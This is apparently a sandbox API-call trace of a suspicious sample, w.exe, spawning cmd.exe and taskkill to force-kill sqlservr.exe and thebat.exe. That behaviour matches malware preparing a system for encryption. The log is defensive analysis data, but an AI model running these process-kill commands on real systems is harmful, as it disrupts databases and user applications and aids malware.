	[0047.196] GetProcessHeap () returned 0x340000
	[0047.196] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x340860) returned 0x122
	[0047.196] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4d0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0047.196] GetProcessHeap () returned 0x340000
	[0047.196] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xe0) returned 0x340990
	[0047.196] GetProcessHeap () returned 0x340000
	[0047.196] RtlReAllocateHeap (Heap=0x340000, Flags=0x0, Ptr=0x340990, Size=0x76) returned 0x340990
	[0047.196] GetProcessHeap () returned 0x340000
	[0047.196] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x340990) returned 0x76
	[0047.196] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0047.196] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x30f2f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f2f8) returned 0xffffffff
	[0047.196] GetLastError () returned 0x2
	[0047.196] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x30f2f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f2f8) returned 0xffffffff
	[0047.196] GetLastError () returned 0x2
	[0047.196] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0047.196] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x30f2f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f2f8) returned 0x340a10
	[0047.197] GetProcessHeap () returned 0x340000
	[0047.197] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x14) returned 0x353598
	[0047.197] FindClose (in: hFindFile=0x340a10 | out: hFindFile=0x340a10) returned 1
	[0047.197] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x30f2f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f2f8) returned 0xffffffff
	[0047.197] GetLastError () returned 0x2
	[0047.197] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x30f2f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f2f8) returned 0x340a10
	[0047.197] GetProcessHeap () returned 0x340000
	[0047.197] RtlReAllocateHeap (Heap=0x340000, Flags=0x0, Ptr=0x353598, Size=0x4) returned 0x353598
	[0047.197] FindClose (in: hFindFile=0x340a10 | out: hFindFile=0x340a10) returned 1
	[0047.197] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0047.197] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0047.197] GetConsoleTitleW (in: lpConsoleTitle=0x30f7f0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0047.197] InitializeProcThreadAttributeList (in: lpAttributeList=0x30f678, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x30f740 | out: lpAttributeList=0x30f678, lpSize=0x30f740) returned 1
	[0047.198] UpdateProcThreadAttribute (in: lpAttributeList=0x30f678, dwFlags=0x0, Attribute=0x60001, lpValue=0x30f738, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x30f678, lpPreviousValue=0x0) returned 1
	[0047.198] GetStartupInfoW (in: lpStartupInfo=0x30f634 | out: lpStartupInfo=0x30f634*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc8, hStdOutput=0xac, hStdError=0xb8)) 
	[0047.198] GetProcessHeap () returned 0x340000
	[0047.198] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x18) returned 0x340a10
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0047.198] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0047.199] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0047.199] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0047.199] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0047.199] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0047.199] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0047.199] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0047.199] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0047.199] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0047.199] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0047.199] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0047.199] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0047.199] GetProcessHeap () returned 0x340000
	[0047.199] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a10 | out: hHeap=0x340000) returned 1
	[0047.199] GetProcessHeap () returned 0x340000
	[0047.199] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xa) returned 0x34fee0
	[0047.199] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0047.201] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im sqlservr.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x30f6d4*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im sqlservr.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x30f720 | out: lpCommandLine="taskkill  /f /im sqlservr.exe ", lpProcessInformation=0x30f720*(hProcess=0x78, hThread=0x74, dwProcessId=0xac4, dwThreadId=0xac8)) returned 1
	[0047.205] CloseHandle (hObject=0x74) returned 1
	[0047.205] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0047.206] GetProcessHeap () returned 0x340000
	[0047.206] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x355ed0 | out: hHeap=0x340000) returned 1
	[0047.206] GetEnvironmentStringsW () returned 0x364a48*
	[0047.206] GetProcessHeap () returned 0x340000
	[0047.206] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xb36) returned 0x354090
	[0047.206] FreeEnvironmentStringsW (penv=0x364a48) returned 1
	[0047.206] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0047.471] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x30f614 | out: lpExitCode=0x30f614*=0x80) returned 1
	[0047.471] CloseHandle (hObject=0x78) returned 1
	[0047.472] _vsnwprintf (in: _Buffer=0x30f75c, _BufferCount=0x13, _Format="%08X", _ArgList=0x30f620 | out: _Buffer="00000080") returned 8
	[0047.472] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0047.472] GetProcessHeap () returned 0x340000
	[0047.472] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x354090 | out: hHeap=0x340000) returned 1
	[0047.472] GetEnvironmentStringsW () returned 0x354090*
	[0047.472] GetProcessHeap () returned 0x340000
	[0047.472] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xb5c) returned 0x355ed0
	[0047.472] FreeEnvironmentStringsW (penv=0x354090) returned 1
	[0047.472] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0047.472] GetProcessHeap () returned 0x340000
	[0047.472] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x355ed0 | out: hHeap=0x340000) returned 1
	[0047.472] GetEnvironmentStringsW () returned 0x354090*
	[0047.472] GetProcessHeap () returned 0x340000
	[0047.472] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xb5c) returned 0x355ed0
	[0047.472] FreeEnvironmentStringsW (penv=0x354090) returned 1
	[0047.472] GetProcessHeap () returned 0x340000
	[0047.472] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x34fee0 | out: hHeap=0x340000) returned 1
	[0047.472] DeleteProcThreadAttributeList (in: lpAttributeList=0x30f678 | out: lpAttributeList=0x30f678) 
	[0047.472] _get_osfhandle (_FileHandle=1) returned 0xac
	[0047.472] SetConsoleMode (hConsoleHandle=0xac, dwMode=0x0) returned 0
	[0047.472] _get_osfhandle (_FileHandle=1) returned 0xac
	[0047.472] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a4c41ac | out: lpMode=0x4a4c41ac) returned 0
	[0047.472] _get_osfhandle (_FileHandle=0) returned 0xc8
	[0047.472] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a4c41b0 | out: lpMode=0x4a4c41b0) returned 0
	[0047.473] GetConsoleOutputCP () returned 0x1b5
	[0047.473] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4c4260 | out: lpCPInfo=0x4a4c4260) returned 1
	[0047.473] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0047.473] exit (_Code=128) 

Process:
	id = "69"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4970b000"
	os_pid = "0xac4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "68"
	os_parent_pid = "0x844"
	cmd_line = "taskkill  /f /im sqlservr.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 293
	os_tid = 0xac8


Thread:
	id = 294
	os_tid = 0xabc


Thread:
	id = 295
	os_tid = 0xab8


Thread:
	id = 296
	os_tid = 0x970


Thread:
	id = 297
	os_tid = 0x978


Process:
	id = "70"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x48f2b000"
	os_pid = "0x988"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im thebat.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 298
	os_tid = 0x97c

	[0047.547] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x17fc38 | out: lpSystemTimeAsFileTime=0x17fc38*(dwLowDateTime=0x1f7e480, dwHighDateTime=0x1d52dc5)) 
	[0047.547] GetCurrentProcessId () returned 0x988
	[0047.547] GetCurrentThreadId () returned 0x97c
	[0047.547] GetTickCount () returned 0x1c11c
	[0047.547] QueryPerformanceCounter (in: lpPerformanceCount=0x17fc30 | out: lpPerformanceCount=0x17fc30*=16785685483) returned 1
	[0047.548] GetModuleHandleA (lpModuleName=0x0) returned 0x4a8a0000
	[0047.548] __set_app_type (_Type=0x1) 
	[0047.548] __p__fmode () returned 0x74eb31f4
	[0047.548] __p__commode () returned 0x74eb31fc
	[0047.548] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8c21a6) returned 0x0
	[0047.548] __getmainargs (in: _Argc=0x4a8c4238, _Argv=0x4a8c4240, _Env=0x4a8c423c, _DoWildCard=0, _StartInfo=0x4a8c4140 | out: _Argc=0x4a8c4238, _Argv=0x4a8c4240, _Env=0x4a8c423c) returned 0
	[0047.548] GetCurrentThreadId () returned 0x97c
	[0047.549] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x97c) returned 0x60
	[0047.549] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0047.549] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0047.549] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0047.549] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0047.549] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x17fbc8 | out: phkResult=0x17fbc8*=0x0) returned 0x2
	[0047.549] VirtualQuery (in: lpAddress=0x17fbff, lpBuffer=0x17fb98, dwLength=0x1c | out: lpBuffer=0x17fb98*(BaseAddress=0x17f000, AllocationBase=0x80000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0047.549] VirtualQuery (in: lpAddress=0x80000, lpBuffer=0x17fb98, dwLength=0x1c | out: lpBuffer=0x17fb98*(BaseAddress=0x80000, AllocationBase=0x80000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0047.549] VirtualQuery (in: lpAddress=0x81000, lpBuffer=0x17fb98, dwLength=0x1c | out: lpBuffer=0x17fb98*(BaseAddress=0x81000, AllocationBase=0x80000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0047.549] VirtualQuery (in: lpAddress=0x83000, lpBuffer=0x17fb98, dwLength=0x1c | out: lpBuffer=0x17fb98*(BaseAddress=0x83000, AllocationBase=0x80000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0047.549] VirtualQuery (in: lpAddress=0x180000, lpBuffer=0x17fb98, dwLength=0x1c | out: lpBuffer=0x17fb98*(BaseAddress=0x180000, AllocationBase=0x180000, AllocationProtect=0x4, RegionSize=0x6000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0047.549] GetConsoleOutputCP () returned 0x1b5
	[0047.549] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a8c4260 | out: lpCPInfo=0x4a8c4260) returned 1
	[0047.550] SetConsoleCtrlHandler (HandlerRoutine=0x4a8be72a, Add=1) returned 1
	[0047.550] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0047.550] SetConsoleMode (hConsoleHandle=0xc8, dwMode=0x0) returned 0
	[0047.550] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0047.550] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a8c41ac | out: lpMode=0x4a8c41ac) returned 0
	[0047.550] _get_osfhandle (_FileHandle=0) returned 0xc4
	[0047.550] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a8c41b0 | out: lpMode=0x4a8c41b0) returned 0
	[0047.550] GetEnvironmentStringsW () returned 0x262008*
	[0047.550] GetProcessHeap () returned 0x250000
	[0047.550] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xaca) returned 0x262ae0
	[0047.550] FreeEnvironmentStringsW (penv=0x262008) returned 1
	[0047.550] GetProcessHeap () returned 0x250000
	[0047.551] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x4) returned 0x260c40
	[0047.551] GetEnvironmentStringsW () returned 0x262008*
	[0047.551] GetProcessHeap () returned 0x250000
	[0047.551] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xaca) returned 0x2635b8
	[0047.551] FreeEnvironmentStringsW (penv=0x262008) returned 1
	[0047.551] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x17eb38 | out: phkResult=0x17eb38*=0x68) returned 0x0
	[0047.551] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x17eb40, lpData=0x17eb44, lpcbData=0x17eb3c*=0x1000 | out: lpType=0x17eb40*=0x0, lpData=0x17eb44*=0x0, lpcbData=0x17eb3c*=0x1000) returned 0x2
	[0047.551] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x17eb40, lpData=0x17eb44, lpcbData=0x17eb3c*=0x1000 | out: lpType=0x17eb40*=0x4, lpData=0x17eb44*=0x1, lpcbData=0x17eb3c*=0x4) returned 0x0
	[0047.551] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x17eb40, lpData=0x17eb44, lpcbData=0x17eb3c*=0x1000 | out: lpType=0x17eb40*=0x0, lpData=0x17eb44*=0x1, lpcbData=0x17eb3c*=0x1000) returned 0x2
	[0047.551] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x17eb40, lpData=0x17eb44, lpcbData=0x17eb3c*=0x1000 | out: lpType=0x17eb40*=0x4, lpData=0x17eb44*=0x0, lpcbData=0x17eb3c*=0x4) returned 0x0
	[0047.551] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x17eb40, lpData=0x17eb44, lpcbData=0x17eb3c*=0x1000 | out: lpType=0x17eb40*=0x4, lpData=0x17eb44*=0x40, lpcbData=0x17eb3c*=0x4) returned 0x0
	[0047.551] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x17eb40, lpData=0x17eb44, lpcbData=0x17eb3c*=0x1000 | out: lpType=0x17eb40*=0x4, lpData=0x17eb44*=0x40, lpcbData=0x17eb3c*=0x4) returned 0x0
	[0047.551] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x17eb40, lpData=0x17eb44, lpcbData=0x17eb3c*=0x1000 | out: lpType=0x17eb40*=0x0, lpData=0x17eb44*=0x40, lpcbData=0x17eb3c*=0x1000) returned 0x2
	[0047.551] RegCloseKey (hKey=0x68) returned 0x0
	[0047.551] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x17eb38 | out: phkResult=0x17eb38*=0x68) returned 0x0
	[0047.551] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x17eb40, lpData=0x17eb44, lpcbData=0x17eb3c*=0x1000 | out: lpType=0x17eb40*=0x0, lpData=0x17eb44*=0x40, lpcbData=0x17eb3c*=0x1000) returned 0x2
	[0047.551] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x17eb40, lpData=0x17eb44, lpcbData=0x17eb3c*=0x1000 | out: lpType=0x17eb40*=0x4, lpData=0x17eb44*=0x1, lpcbData=0x17eb3c*=0x4) returned 0x0
	[0047.552] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x17eb40, lpData=0x17eb44, lpcbData=0x17eb3c*=0x1000 | out: lpType=0x17eb40*=0x0, lpData=0x17eb44*=0x1, lpcbData=0x17eb3c*=0x1000) returned 0x2
	[0047.552] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x17eb40, lpData=0x17eb44, lpcbData=0x17eb3c*=0x1000 | out: lpType=0x17eb40*=0x4, lpData=0x17eb44*=0x0, lpcbData=0x17eb3c*=0x4) returned 0x0
	[0047.552] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x17eb40, lpData=0x17eb44, lpcbData=0x17eb3c*=0x1000 | out: lpType=0x17eb40*=0x4, lpData=0x17eb44*=0x9, lpcbData=0x17eb3c*=0x4) returned 0x0
	[0047.552] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x17eb40, lpData=0x17eb44, lpcbData=0x17eb3c*=0x1000 | out: lpType=0x17eb40*=0x4, lpData=0x17eb44*=0x9, lpcbData=0x17eb3c*=0x4) returned 0x0
	[0047.552] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x17eb40, lpData=0x17eb44, lpcbData=0x17eb3c*=0x1000 | out: lpType=0x17eb40*=0x0, lpData=0x17eb44*=0x9, lpcbData=0x17eb3c*=0x1000) returned 0x2
	[0047.552] RegCloseKey (hKey=0x68) returned 0x0
	[0047.552] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163038
	[0047.552] srand (_Seed=0x5d163038) 
	[0047.552] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im thebat.exe \""
	[0047.552] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im thebat.exe \""
	[0047.552] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a8c5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0047.552] GetProcessHeap () returned 0x250000
	[0047.552] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x210) returned 0x262008
	[0047.552] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x262010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0047.553] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a8d0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0047.553] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a8d0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0047.553] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a8d0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0047.553] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0047.553] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0047.553] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0047.553] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0047.553] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0047.553] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0047.553] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0047.553] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0047.553] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0047.553] GetProcessHeap () returned 0x250000
	[0047.553] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x262ae0 | out: hHeap=0x250000) returned 1
	[0047.553] GetEnvironmentStringsW () returned 0x262220*
	[0047.553] GetProcessHeap () returned 0x250000
	[0047.553] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xae2) returned 0x264b80
	[0047.553] FreeEnvironmentStringsW (penv=0x262220) returned 1
	[0047.553] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a8d0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0047.553] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a8d0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0047.553] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0047.553] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0047.553] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0047.553] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0047.553] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0047.553] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0047.553] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0047.554] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0047.554] GetProcessHeap () returned 0x250000
	[0047.554] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x54) returned 0x265670
	[0047.554] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x17f904 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
